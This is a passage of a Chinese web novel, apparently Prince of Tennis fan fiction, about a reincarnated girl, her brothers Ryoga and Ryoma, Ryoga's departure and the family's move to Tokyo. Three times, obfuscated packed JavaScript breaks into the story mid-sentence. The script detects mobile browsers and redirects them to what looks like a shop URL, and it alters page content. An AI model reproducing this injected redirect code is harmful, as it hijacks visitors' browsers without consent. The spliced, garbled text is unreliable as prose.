伦子不由得想起清和前几天那副一反常态的踌躇模样。那点反常让她心里生出几分难以言说的疑虑,也添了些隐隐的担忧。 “先生,夫人。” 史密斯女士略微停顿了一下,像是在斟酌接下来的说法。 “据我的观察,越前同学在班级中的处事方式,可能有些……过于‘安静’了。 她大多数时间都是一个人活动,很少主动加入其他孩子的游戏。 我曾经和她单独交流过几次,能感觉出来,她其实是个性格很好的孩子。表达清楚,情绪也很稳定。 只是相对来说,她似乎并不太愿意参与集体活动。 我也尝试过建议她加入一些小组游戏,但目前来看,效果并不算明显。班上的其他孩子,对她的了解也比较有限。” 说到这里,史密斯女士的语气明显放缓了一些。 “这个年龄阶段的孩子,通常会通过同伴关系,慢慢找到自己在群体中的位置。所以……我多少有些担心。 今天请二位过来,主要是想从家长这边了解一下情况,看看在家里,她是否也是类似的状态。” 伦子和南次郎对视了一眼。 会谈室里一时安静了下来,窗外隐约传来孩子们追逐打闹的声音。 南次郎微不可察地挑了下眉,像是下意识地想要脱口解释些什么,最终却还是将话语止在了嘴边。 他端起面前的红茶,借着抿茶的动作,把那点冲动压了下去。 伦子似乎还沉浸在思索之中。 她那颗在面对清和时其实早就察觉到异样的心,不由得轻轻地抽动了一下。 她从未认真地面对过那些出现在清和身上的……难以形容的不对劲,但在这一刻,仿佛被史密斯老师缓缓地牵出了一截小小的线头。 伦子忽然觉得,史密斯老师口中清和的“安静”,或许比她一直以为的,还要再复杂一些。 “清和一直都是个乖巧安静的孩子,但……” …… …… 清和并不知道那场对话的内容。 她只是在回家的路上,隐约察觉到伦子和南次郎似乎正在为她担心着什么,欲言又止的样子有些令人在意。 可到头来,他们什么也没说。 史密斯老师也与往常并无不同。 清和的生活依旧在沿着那条平稳有序的轨道前行着。 上学、放学、吃饭、睡觉。 打球、读书、画画、神游。 周而复始。 >>>> 一周之后的某个清晨。 清和与往常一样坐在她临窗的座位上。这是在上一次全班抽签决定座位轮番的时候,她意外给自己抽中的“女主”座。 清朗的阳光透过教室那不算干净的玻璃窗洒落进来,在清和摊开的书页上投下了斑斑点点只属于灰尘的影子。 她正低着头,指尖压在书页一角,投身于一个来自中世纪欧洲的童话世界。 下一秒,熟悉的声音伴随着一股干净的皂角味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270136|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无预兆地闯进了那个世界。 古堡前漫天的蒲公英四散飞起—— “嗨!清和。” 清和微微一愣,循声望去。 她看见男孩墨绿色的头发正随着他大步靠近的动作胡乱飞舞着,像极了一朵正在随风炸开的蒲公英。 他来到她的课桌旁,身影挡住了至少一半的晨光。 “……龙雅?” 她眨了下眼睛,“你怎么在这?” 龙雅单肩斜挎着包,身体微微前倾。他伸出手在她的桌沿处轻轻敲击了一下,嘴角扬起一抹明显带着炫耀意味的笑,就连眉梢也跟着挑了起来,像是早就在等着这一刻—— “哈哈,我转班啦!” “啊?” 清和坐直了身子,“……那你昨天怎么不说?” “说了不就没有惊喜了嘛!怎么样?有没有被吓了一跳?” “一点点吧。” “切——你这人可真冷淡。” 龙雅撇了撇嘴,但很快又摆出了一副“我理解”的神情。 “怪不得伦子阿姨得拜托我来照顾你——” 那个“我”字被他说得格外用力。 清和见他拍着自己的胸口,一本正经地开口道:“放心吧!有我在,没人能欺负你!” 嗯…… 原来是这样啊。 清和这才后知后觉地察觉到,龙雅的转班,大概和几天前的那场家长会谈脱不开关系。 她垂下视线,扫了一眼摊开在她面前的书。这页描写的内容正是:勇猛的骑士毅然接下了来自国王的委托,佩剑上马,整装待发,预备去营救公主、拯救世界的情节。 她突然觉得有点好笑。 “没有人欺负我。” 清和合上了书,抬起头,嘴角微微弯起。 “不过……还是谢谢你啦。” >>>> 从那天开始,龙雅就像是被某种无形的使命感推着,事事都挡在清和的前面。 比如—— “老师,我跟越前清和一组!” … “她不喜欢吃生奶油,你分给我吧!” … “这本书给你!我特意和汤姆换来的,感觉你应该会喜欢。” … “你等下,我先试试哈。” … “吃吗?早上刘易斯给我的。” … “你会游泳吗?不会?!我来教你,海里可好玩了!” …… 起初还有些不大习惯的清和慢慢开始觉得,这样似乎也还不错。 甚至,旱鸭子清和真的学会了游泳,顺带还学了点浮潜。 就像龙雅说的,海里确实很好玩。 只是,龙雅的“好玩”和她的“好玩”大概不太一样。 龙雅喜欢追着五颜六色的鱼跑。 她倒也谈不上不喜欢……只是相比之下,清和更偏爱在水下缓慢地游动。看着原本炙热的阳光穿透摇摇晃晃的海面,在水中被融化成一道道温温凉凉的柔光。 她穿梭其中,随着海水一起摇摆、游荡。 清和原本平稳的前行轨道,在龙雅频繁且直接的介入下,逐渐拐向了另一条崭新的路。 对清和来说,这是一条可以放手去体验的新路。 但对另一个人而言,这条路似乎并没有为他预留出足够宽裕的位置…… …… 5. 龙马的心事 龙马最近心里有些不大舒服。 自从哥哥和姐姐开始上学之后,白天的大部分时间里,家里就只剩下他和爸爸两个人了。 爸爸说,是时候该给他制定魔鬼训练了。 龙马觉得“魔鬼”这个词用得一点也没错。那词摇身一变,简直变成了爸爸的化身。 他每天都很累。 胳膊酸得抬不起来,脚步也总是跟不上爸爸的节奏。明明他才刚刚站上球场没多久,呼吸就已经乱掉了。 爸爸打过来的球变得越来越难接。虽然总是接不到球会有点挫败,但他转念一想,这一定是变强路上必经的坎坷。 他依旧志气满满。 ——总有一天,他一定会打败爸爸的! 可是,比起这些,他还是会忍不住想一些别的事情。 比如,哥哥和姐姐现在在做什么。 尤其是姐姐。 上学是什么呢? 是比打球还要重要的事情吗? 那为什么自己不能和他们一样去上学呢? 龙马小小的脑子里,塞满了他想不明白的问题。 不过这些问题其实也可以先放一放。 真正让他觉得难受的是——他发现,自己从来没有这么长时间见不到姐姐。 他很想她。 虽然对哥哥也有一点点想念,但只能算作是附带的。 他每天最期待的时间就是下午。因为那个时候,哥哥姐姐会准时回家。 他可以把自己练了一整个上午的新动作展示给姐姐看。 偶尔,还能和他们打上一两场不怎么正式的球赛。 哥哥姐姐不愧是哥哥姐姐,球总是打得比他好。 不过没关系,他们上学的时间,总不可能是一直躲在什么他看不见的地方偷偷练球吧? 以他对姐姐的了解,这绝不可能。 所以总有一天,他一定能超过他们所有人!! 但最近,哥哥和姐姐好像有点不对劲。放学回家后,他们不怎么出现在球场了。 听爸爸说,姐姐搞“叛逆”,不好好打球,跑去和哥哥冲浪了。 “叛逆”是什么? “冲浪”又是什么? 怎么净是些他听不懂的词,真让人恼火。 他也不是不能去问爸爸。可爸爸的回答总是很奇怪,他还是听不懂。他更喜欢问姐姐。 但是不知道从什么时候开始,他发现自己总是找不到姐姐在哪儿。 这件事,比之前所有想不明白的问题都要让他难受。 就算偶尔见到姐姐,她也总是和哥哥待在一起。他们要么聊着一些他听不懂的东西,要么做着一些他很难插得上手的事情。 龙马憋了一口气。 好长的气。 没关系。 他自己一个人也完全没问题的嘛。 和爸爸打球,也很开心的啊。 ......本来就应该是这样的。 ...... >>>> 某天放课后,南次郎依着伦子的嘱托,领着龙马来到了龙雅和清和的学校门口。 这时间的日头还很足,被太阳炙烤了一整个中午的街道正在散发着一种近乎油腻的质感。 出了校门,龙雅眼尖地冲对面挥了挥手,随即便拉着清和快步跑到了南次郎和龙马的身边。 清和注意到,龙马在她迎面过来的时候,视线在她与龙雅相牵的手上停留了两秒,随后又刻意避开了她想要打招呼的目光。 嗯? 清和心里轻轻一顿。 ...... 他们四人先是一起去逛了超市,照着伦子给的清单,把该买的东西一一采购齐全,又捎带手装走了半车计划之外的小零食。 南次郎一手提着一包硕大的购物袋,另一只手牵着龙马,甩着步子朝家的方向前进着。 南次郎觉得有点无聊。 所以当他抬眼瞟到“电玩城”那块闪着彩虹光芒的大字招牌时,脚步明显慢了一拍。 下一秒,他就已经迈开腿钻了进去。 还没等人反应过来,他拉着龙马的那只手便顺势一转,转眼间就把三个小孩子全数捞了进去。 当他们再次出现在回家的路上时,太阳已经悄然下落至一半。 …… 又一次被南次郎牵住的龙马,忽然觉得胸口有点闷。 电玩城里那晃眼的灯光和嘈杂的音乐还在他的脑子里嗡嗡作响,衬得他那股原本就道不明的烦躁变得更加清晰了。 为什么连玩游戏时候,都要默认姐姐和哥哥一组? 为什么偏偏是他,要和老爸一组? 吵死了。 不论是游戏机、还是他们说话的声音。 ......都吵死了。 龙马平生第一次,涌现出了一股想要大声叫喊的冲动。 那股滚烫的冲动,在他紧盯着前方那两个越靠越近的背影时,正一点一点地上涌,逐渐逼近了火山口的边缘。 终于—— “爸爸!我要和哥哥姐姐一起上学!” 一道清晰而坚定的童声划破了残阳。龙马被自己意料之外的音量吓了一跳。 南次郎、以及走在前方的那两个小小的身影,同时停下了脚步。 “嗯?” 南次郎下意识发出了一声带着疑惑的回应。 “我说——” 龙马吸了一口气,努力压下胸口那点还在胡蹦乱跳的紧张。 “我要和哥哥、姐姐,一起上学!!” 掷地有声的童音,再一次重重地敲击在这片美利坚的土地上。 熟悉的街道在橘红色的夕阳之下,被拉扯出一道道交叠的残影。 电线杆上沉睡的乌鸦被这突如其来的声响惊起,“歘”地一声掀起翅膀,闪着油亮的黑羽,消失在了街道的转角。 街道上一辆车也没有,衬得整个画面像是被按下了暂停键一样。 “什么嘛,小不点......” 刚刚才在游戏中赢得对战、心满意足的南次郎,有些不解地挠了挠头,语气里带着明显的状况外。 他蹲下身来,挂上一副很“南次郎”的、大喇喇的笑容,试图用他熟悉的方式把场面拉回到自己擅长的轨道。 “你和老爸我单独在家打网球不好玩吗?!你不是最喜欢打球的嘛。 要是那两个小鬼在的话,你可就没办法独占球场了哦~~” 他顿了顿,又笑得更夸张了些。 “当然,也没法独占我! 啊哈哈哈、哈哈哈哈哈。” 很显然,南次郎一向屡试不爽的转移注意力大法,这次却没能奏效。 “不要。” 龙马的声音不高,他又一次强调道: “我就要上学!” 剩下的三人,一时间谁都没能立马接得上话。 片刻后,龙雅像是忽然想明白了什么有趣的事情一样,嘴角一扬。他跨步走到龙马面前站定,用手肘顺势勾住了龙马紧绷的脖颈。 “小鬼......” 龙雅笑得不怀好意。 “你......该不会是吃醋了吧?” 那点突如其来的力道,轻易就打乱了龙马原本那绷得笔直的姿态。 龙马一愣,下意识地反问道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270137|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“......什么是吃醋?” 他其实并不想在这种时候提问的,可问题还是不受控制地从他嘴巴里冒了出来。 又是这样。 爸爸、妈妈,还有哥哥、姐姐。 ......总是这样。 龙马心里的那股无名火又往上窜了一截。空气中弥漫着一种说不清、道不明的紧张氛围。 “嗯......” 清和想了想,率先打破了这诡异的安静。 她走到龙马身边,伸手摘下了那顶几乎从不离开他脑袋的白色鸭舌帽,转手戴到了自己头上。 “就比如说,你的帽子——” 龙马下意识地抬起手想要阻止,却在对上姐姐清亮的目光后,又生生停住了动作。他有些别扭地摸了摸鼻尖。 “原本只属于你一个人的帽子,突然有一天,被戴在了别人的头上......” 说着,清和侧了侧头,又把帽子摘下来,转而扣到了龙雅的脑袋上。 “......后来,帽子又被另一个人分走了。” “原本可以一整天都带着它的你,现在却不得不缩短戴帽子的时间。” “不光如此,你还得眼睁睁地看着别人,戴着你心爱的帽子,在你眼前晃来晃去。” 清和停顿了一下,语气依旧平缓。 “......大概就是这种,酸酸的感觉吧。” 她的话音轻轻落下。 帽子又重新回到了龙马的头上。 温暖而熟悉的包裹感自他的头顶传来。龙马眨了下眼睛,没说话,只是若有所思地点了点头。 那股在他胸口翻涌了许久的情绪正在一点一点褪去。 他好像明白了一点什么。 “龙马。” 清和轻声开口,伸手握住了他那只微微出汗的小手。她蹲下身来,认真地注视着龙马那双仍带着几分无措的眼睛,鼻头不禁有些发酸。 “......对不起。” 她的声音很轻。 清和的眼前,仿佛浮现出了从前龙马时时跟在她身后时的模样,聪明、乖巧,总是让她忍不住多看一眼,多拉一把。 “之前,是我疏忽了......你可以原谅姐姐吗?” 龙马歪了歪头。 他感到有一股清甜的溪流悄然流过他早就干渴的喉咙。龙马紧闭的嘴唇微不可察地翕动了两下,轻轻地应了一声“好”。 他忽然觉得,姐姐的声音就好像糅合了所有像今天一样的夕阳一般,理所当然的温暖、轻柔,又透着些恰到好处的甘甜。 清和拉起龙马的手轻轻晃了晃,笑着说道:“走吧,我们回家吧。” “......好!” 龙马又应了一声,跟着笑了起来。 “想不想和姐姐来一场酣畅淋漓的球赛?” “可以吗?”龙马的眼睛又亮了几分。 “当然!也不知道……我们的小龙马,这段时间究竟进步了多少呢?” “说不定已经很厉害了——” “真让人好奇呀。” “龙雅,”清和侧过头,语气轻快。“我觉得现在的龙马,赢你两局肯定不成问题。” 龙雅爽朗的笑声适时地插入了进来:“真的吗,龙马?我可不信!来试试啊——” “......哥哥,你还差得远呢。” 夕阳下,三道像手机信号格一样排列的小小身影正并肩向前,斜斜的影子在他们的身后渐渐拉长。 南次郎双手叉腰站在原地,望着他们逐渐远去的背影,难得地笑得像个慈父。 “真是青春啊,青春......” 6. 离别与重逢 清和在欢乐中度过了两三年自她转生以来最是热闹的日子,这都要多亏了越前龙雅。 但龙雅很快就要离开了。 清和觉得心里有些空落落的。 龙雅离开的那个上午,阳光很足,天空中一朵大块的云也没有。 清和平日里总是有些嫌弃那种大团大团的云。厚云掠过时,光线忽明忽暗,落在书页上总是晃眼得很。但那一天,她却忽然开始想念那些云了。 光耀眼得过分,令人眼晕。 伦子和南次郎陪着龙雅在家门口等车,龙马和清和就站在离他们几步远的树荫下。这里的阴凉可以暂时缓解一下清和有些烦躁的情绪,只是效果却不怎么好。 直到车来,他们谁都没有开口说一句话。 汽车引擎嗡嗡地响着,慢慢停稳,空气里随之漫开一股汽油的味道。 南次郎把龙雅为数不多的行李塞进后备箱,转身拍了拍他的肩膀。 龙雅上车前回过头来,冲清和使劲晃了晃他一直攥在手心里的便携电话。 他勉强笑了一下,嘴角的弧度很快就又落了下去。随后,他便转身钻进了车里。 便携电话是伦子买给龙雅的,清和也分到了一部,外形有点像她很早以前用过的那种小灵通,除了通话和发信息之外,没有任何多余的功能。 伦子说,这样一来,哪怕见不到面,他们也还能通过电话互相联络,多少算是个安慰。 所以其实也还好。清和心想。 又不是完全联系不到了…… 可是清和很难形容她现在的感觉。 现在……反正,已经不再是她刚刚得知龙雅要回到他母亲身边生活时,那种近乎麻木的平静了。 太阳很晒,空气里没有一丝风,汽车尾气的味道也难闻得要命。 她牵着龙马的手,掌心处已经微微出汗,但指缝之间却还透着明显的冰凉,而指尖的温度更是远远低于掌心。 龙马的手倒是始终暖暖的,就像个暖宝宝一样,让她忍不住又握紧了一些。 车子缓缓启动,轮胎碾过路面的声音被阳光压得发闷。 车后窗上,龙雅不停回望着的脸正在一点一点地缩小着。 清和还是第一次在龙雅的脸上见到那种神情。 隔着那片微微泛青的车玻璃,她觉得现在的龙雅,看起来就像是一只被塞进玻璃瓶拼配盐水中的小水母,浑身散发着一种只想要回到大海的渴望。 直到那张脸变得模糊不清,清和的视线也仍然停留在那个正在一点点远去的轮廓上。 这时,她的左手忽然传来一道令人猝不及防的力道。 再回过神来时,她掌心里那点微薄的热量也已经骤然散去。 她看见一个小小的身影猛地追了上去—— 白色的帽子被他突如其来的加速掀飞,在空中翻滚了几圈,落在了清和的脚边。 “哥哥!哥哥————!” 龙马清脆的声音在街道上回荡着,很快便被拉得越来越远。 清和就像是被这突如其来的变故钉在了原地,双腿灌了铅似的沉重。直到那声音快要消散,她才猛地惊醒,终于迈开步子追了上去。 她原本不想跑的。 这种仿佛只会出现在影视作品里的追车桥段,她从未想过有朝一日竟然会发生在她自己的身上。 清和只觉得,她沉闷的心脏在这一刻突然开始加速跳动,敲击起了那种只有在歌曲即将进入副歌、情节即将步入高潮时才会出现的加强鼓点。 只不过这次,她追的并不是男主,而是那个追着男主跑远了的弟弟…… 道路两旁高大的棕榈树快速向后退去,她很快就看见了龙马的背影。 按照偶像剧的通俗桥段来说,男主通常会在不忍中情不自禁地下车奔向女主,随后两人就会在加州热烈的阳光下深情相拥。 可此刻的路面空空荡荡,只剩下龙马的背影,显得格外孤单。 果然,这才不是什么偶像剧。 清和慢慢地停下了脚步,犹豫着要不要上前。 可能率先追出去的那个人总会显得更可怜一些吧。 清和眼中龙雅那副受困小水母的模样,在这一刻,已经被龙马那颗落寞的后脑勺悄然覆盖了。 龙马就那么站在路中央,大口喘着粗气。 他正低着头,死死地盯着那颗被他紧攥在右手的橘子—— 那是龙雅临出门前塞给他的。橘子皮上似乎还用马克笔写着几行紧凑的字句。 清和不知道那些字的内容是什么。 她只看到,龙马的肩膀开始轻轻抖动,随后,眼泪便“啪嗒啪嗒”地砸在了地上。 那声音很轻,却像是砸在了她的心口上。 清和只觉得喉咙忽地发紧,胸口起伏得有些不受控制,就连视线也不知道从什么时候开始变得模糊了起来。 龙马的背影连带着空荡的街道开始摇摇晃晃。 她抬手揉了揉眼睛,手背擦过的地方很快洇开一片湿意。 她分不清心头与太阳穴的刺痛究竟是来自于剧烈奔跑过后的余力未散,还是来自于她心底某个被猛然掀开的角落。 龙雅离开的方向只剩下一截被阳光照得发白的路面。 一种说不上来的不安,慢慢从清和的胸腔里蔓延开来—— 他们……应该还会再见的吧? 毕竟,越前龙雅这个名字,从来都没有出现在乔乔的那些讲述里。 那是不是意味着…… 他本来就不是会在这个故事里久留的人? 那她呢。 她也是吗。 …… >>>> 那天过后,越前家的日子很快便恢复了原本的节奏。 早晨的阳光依旧准时落进客厅。 伦子照常上班,南次郎也还是那副漫不经心的样子——也就只有在拿起球拍的时候才能勉强提起两三分精神。 便携电话被清和放在了她房间靠窗的那张书桌上,大多数时候都是安静的。偶尔响起时,她和龙雅会聊上几句不长不短的话,简单交换彼此的近况。 随后,清和就会把电话递给龙马,虽然那小子总有些别别扭扭的。 挂断之后,生活继续向前,好像什么都没有发生过。 日子一天一天地向前推进着。 不知不觉间,龙马升入了小学。 他开始频繁地参加各类青少年网球比赛,成绩也一年比一年亮眼。到了小学毕业那年,他已经连续四年拿下了全美青少年网球大会跨年龄组的冠军。 对此,南次郎深感骄傲,四处散播着他儿子“网球王子”的称号。 他也曾试图用龙马耀眼的成绩来激发清和那从未展现过的胜负欲,只不过收效甚微。南次郎好不憋屈,甚至开始怀疑清和是不是根本就没有“激情”这种东西。 「激情是肯定没有的哈,不用怀疑。」——这是有一次,南次郎终于忍不住问出了这个问题之后,清和给出的答案。 在他看来,女儿什么都好,就是成天透着一股超越年龄的老成,要么抱着书、要么就抱着本子,看不到半点青少年身上该有的张扬。 他有问过清和到底喜不喜欢打网球。可清和的回答让他火大—— 她说谈不上喜欢,也谈不上不喜欢。在她偶尔想要暴汗放松一下的时候,打网球确实是一个不错的选择,可大多数时候她都会觉得有些麻烦,而且累。 曾经身为国际顶尖职业网球手的越前南次郎只觉得两眼一黑,恨铁不成钢地骂她亵渎神圣的网球,简直是白瞎了一身的天赋。 最终,南次郎痛定思痛,决定把更多的心力都放在儿子身上。 倒也没有真正放任清和不管——她还是愿意打网球的,只是不像龙马那样执拗而炽烈。 南次郎嘴上不说,心里却始终存着一点念头:在清和真正找到属于自己的热爱之前,至少别让那份天赋被轻易荒废。 所以对于龙马来说,那些奖杯和成绩仿佛成了理所当然的存在。 对清和而言亦是如此。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270138|198113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 毕竟她可爱的弟弟再怎么说也是“王子”本人,还是国王钦点的储君。她这个“失权的前任储君”对此颇感欣慰。 不过换个角度去看,那些勋章确实也是时间流逝的另一种证明。 清和已经有很长一段时间没有再想起她过去的生活了。 她好像已经扎根在了这个家,顶着“越前”的姓氏,过着一种同样普通、却也同样真实的生活。 至少,在那段看似平静的日子里,一切都显得顺理成章。 >>>> 那年夏天,伦子的工作调动来得比想象中突然。 客厅里开始堆起行李。 越前一家,要回日本了。 当清和几乎隔着一整个世界的距离,再一次站在东京的土地上时,那种模糊却熟悉的感觉,才缓慢而又清晰地浮了上来—— 该怎么形容那种感觉呢。 嗯…… 就好像、身体比意识先一步认出了这里——哪里入境、哪里填表、哪里是最近的卫生间,哪条路可以最快地通向托运行李领取处。 越前清和明明是第一次来到这里,但陈清和不是。 某个原本已经被归档的自己,在这一刻,忽然在她的身体里轻轻晃动了一下。 …… 南次郎和伦子正在柜台处办理入境手续。 龙马注意到,清和的视线一直虚浮地停在那块印刷着「東京へ、ようこそ(* 欢迎来到东京)」的广告牌上,已经好几分钟了,不知道在想些什么。 她看起来有些奇怪。 眉头微微蹙起,抿起的嘴唇几乎失去了血色,显得有些苍白。龙马从来没有在清和的脸上看见过这样一副凝重的表情。 “……姐姐?” 他终于忍不住出声,声音压得很低:“你怎么了?” “啊,没什么。” 清和像是被这道声音拉回了现实。她眨了几下眼,松开了她一直紧绷着的嘴,唇色这才慢慢回溯到了它原本的状态。 她朝龙马看过去,扯了扯嘴角,笑意却来得有些迟。 “……不知道为什么,感觉有点紧张。” 龙马疑惑地皱了下眉头,不解地看着她:“你还真是奇怪。该紧张的时候从不紧张,不应该紧张的时候,反而倒是紧张起来了。” “哈哈哈,可能这也是我的独到之处吧。” 清和笑着应了一声,顺手捏了捏龙马的脸颊,语气刻意放得轻快。 “切——还差得远呢。” 龙马这几年个头虽然往上窜了不少,但还是挺矮的……属于清和抬手就可以按住脑袋的高度。 脸倒是等比放大,只是不知道从什么时候开始,表情变得没有那么可爱了。 从一只奶呼呼的跟屁虫,变成如今时不时就会散发一下“Bking”气场的傲娇小鬼头——不过才几年。 清和收回手,在心里轻轻感慨了一下。 看来在这个世界,网球带给人的成长确实是巨大的。 这时,南次郎招呼着他们过去柜台那边核对身份信息。一通操作下来,清和终于还是重新站在了这片她曾经无比熟悉的土地上。 已经入夜,机场大厅明亮的灯光衬得落地窗外的夜色更加浓重。 冷气从大厅高处缓缓落下。行李箱滚轮碾过地面的声音此起彼伏,来来往往的人流不时擦过身侧,打散那层贴在皮肤上的凉意。 就是这种感觉…… 这种旧日的自己、正在意识中反复回响着的感觉。 四周的声音忽然变得有些遥远,脚下的地面也开始随之下落。 清和还没来得及从那一瞬的失重感中抽身,口袋里就响起了一阵叮叮咚咚的提示音。 她微微一愣,脚下的飘忽感悄然散去。 她伸手掏出了手机。屏幕亮起,白光在掌心铺开。 是几条简讯—— 「落地了吗?」 「过段时间我会去一趟神奈川哦,到时候见?」 「——龙雅」 7. 初遇 龙雅这家伙…… 说话总是不自觉地就提前甩出一些才刚露苗头、却又完全没有确定下来的消息。 就比如上次简讯里的那个「过段时间」。 清和原本还隐隐地期待着,觉得或许用不了多久,她就可以和这位早已彻底沦落成“网友”的哥哥再见一面。 童年时的相处还历历在目。如今就连龙马都已经变了个样子,她也不免好奇起来,龙雅会变成什么样子。 从他发的照片来看,除了那张等比放大的脸和陡然拔高的身材之外,他似乎没有什么别的变化了。笑容还是那么张扬,仿佛隔着照片就能听到他在电话那头的那种、好像永远也不会陷入低落的声音。 可一转眼,两个月过去了。 龙雅那边一点动静也没有。 清和后来才知道,原来他是在刚刚得知那个还未敲定的消息时,就已经按捺不住兴奋地先告诉了她——会回一趟神奈川,过段时间。 至于具体是什么时间,他自己也说不清。 清和对此感到很无语。 ……真是好大一张饼。 抛开这个小小的插曲,清和的生活也正在一点点地滑向正轨。 九月上旬,他们一家回到了东京。 这个时间点,恰好是龙马小学毕业、预备升入国中的阶段。而清和也即将迎来国三。 美国与日本学年的差异,让他们在回国之后多出了将近半年的过渡期。时差需要调整,生活节奏需要适应,升学的准备也得一点点提上日程。 学校的事情上,南次郎早早便替清和与龙马两人敲定了那所离家不远的学校:青春学园中等部——那是他曾经就读过的地方。 龙马会在一月份参加青学的入学试验,而清和也需要完成转校生的水平测试。 对此,清和与龙马都没有异议。 在清和看来,他们之所以会在青春台附近安家,多半也是出于南次郎的偏好。她能够感觉得到,南次郎对自己的母校怀有一种近乎骄傲的执念。或许是因为,在青学的那片球场上,他也曾经挥洒过属于他青春燃烧的热血吧。 不仅如此,越前家新宅的后方,还连着一片不算小的寺院——如今也由南次郎接手管理了。 据说寺院的元主持外出云游去了,于是便拜托了南次郎照看。清和至今都不知道南次郎到底是从哪里结识来的这种奇怪人脉…… 松松垮垮的土色僧袍就这么套在了南次郎的身上,违和中又透着一丝“早该如此”的荒谬感。 显得他更猥琐了。 总之,南次郎刚接手寺院没多久,就在院子里辟出了一块与四周氛围格格不入的网球场。 寺院的钟声尚未敲响,网球就已经从那结实的土地上弹了起来。 ……这样真的没问题吗? 清和很疑惑。 这世界太夸张了。 寺院里居然都可以打网球。 >>>> 秋天的末尾,越前一家全员出动,去箱根泡了一趟温泉。 除此之外,清和大多数时间不是在为转校生的水平测试做准备,就是被南次郎推着在寺院里打球。 这打球环境实在是太诡异了啊喂! 不过龙马那小子倒是乐在其中,还跃跃欲试地想要报名参加一些东京都内的青少年网球比赛。 ——却被伦子一口否决。 在伦子看来,龙马现在最重要的还是先准备好青学的入学考试。毕竟日本与美国的课业体系并不相同。 龙马只好作罢。他只有在复习课业的间隙里,才会在寺院的网球场被南次郎虐上几局。 伦子对清和向来放心,她的时间就要宽裕得多了。除了平日里的固定安排之外,清和偶尔会去市民中心的游泳馆游上几圈。可那里总是人满为患。去了几次之后,她也就渐渐不爱去了。 最近,她开辟了两个新的去处。 一个是位于青春台车站附近的市区图书馆;另一个是上野公园一带,那里有几家她喜欢的美术馆。 市区图书馆的氛围不错,白天总是很安静。 可能因为周围有学校的缘故,这里的学生面孔总要多上一些。尤其是下午放学的时段前后,时不时就会有三三两两身着青学校服的中学生们来到这里,安安静静地看书或者学习。 图书馆一楼西北面紧靠着落地窗的地方,有一排横着的单人自习位,清和最喜欢坐在这里。 虽然长长的一条桌面上并没有放置任何隔板,但座位与座位之间却保留着一定的间隔,就算旁边坐了人,通常也不会有被打扰的感觉。 座位面向窗外。 窗外是隔壁小公园的一片无人绿化带。位于中下层的树篱是一些修剪齐整的山茶丛,大片的常春藤从建筑边缘的水泥地与草丛之间钻出,顺着山茶低矮的枝丫,倔强地向四周扩充着领地。 树影丛丛,每当一阵风吹过,满目的枝丫便会摇摇曳曳地晃个不停。清和认得出来,这其中应该还夹杂着几棵樱花树,虽然现在还有些秃…… 但她已经开始期待春天了。 眼下的东京还是初冬,空气干燥,总是吹着恼人的北风。冰冰凉的气息甚至拉低了清和想要出门的欲望。 不过她还是雷打不动地每天出门——毕竟对比下来,在这种天气里被拖去室外打球才更像是个灾难。 这几天,清和注意到图书馆里的学生明显变多了。哪怕是周末,座位也开始紧俏起来,甚至连那一排平时没几个人会坐的靠窗位置也不再空着。 大概是考试期将近了吧…… 要不然今天去上野的美术馆逛逛? 半个多月没去了,应该又换了新的展陈。 清和从图书馆出来,转到青春台站,乘上了前往上野的电车。 >>>> 可能是周末的缘故,展厅要比平时热闹一些。 冬日的光线透过高窗斜斜落下,在木地板上铺开一层极淡的温柔色泽。空气里有一股干净的味道,混合着泛旧纸张与颜料残留的气息。 这次的新展陈围绕色彩风景展开,油画与水彩分成两个区域。 清和在油画区转了一圈,脚步渐渐放缓,最后停在了水彩区。 她一直偏爱水彩这种清淡柔和的画面。 大学时学园林设计,风景的构图几乎成了她的本能。那些线条就像是刻进手腕的记忆,提笔便能落下。 手绘上色时她常用马克笔,效率高,却太利落。真正能让她沉下心来的,始终还是水彩。 水分渗进纸张的那一瞬间,颜色缓慢铺开、交融、晕散。那种不可完全掌控的温和,总能让人放松下来。 来到这里之后,她也想把这个习惯留下。 第一次主动向伦子开口要水彩颜料时,清和自己都有些意外。伦子愣了一下,又笑着答应。 那盒固体水彩很耐用。 直到现在,都还安静地躺在她的挎包里。 清和在一副画前停下了脚步。 画面是晚秋的日式庭园。远山被拉得很长,前景的枯山水却被压得很低,几笔极浅的枫叶黄横在画布中央,其中点缀着些许暗色,像是压住了整个构图的呼吸。 她在脑海里拆了拆结构。 重心偏右,线条刻意引导视线向下…… 色彩很好看,但如果让她来画的话,应该不会把视觉中心放在这个位置上。 她微微歪了歪头。 就在这时,旁边似乎有人停了下来。 那人的脚步声很轻,连带着一阵衣料摩挲的沙沙声。 “……重心有点沉呢。” 是一道少年的声音,那声音温和平缓,像是自言自语。 清和闻声,侧过头。 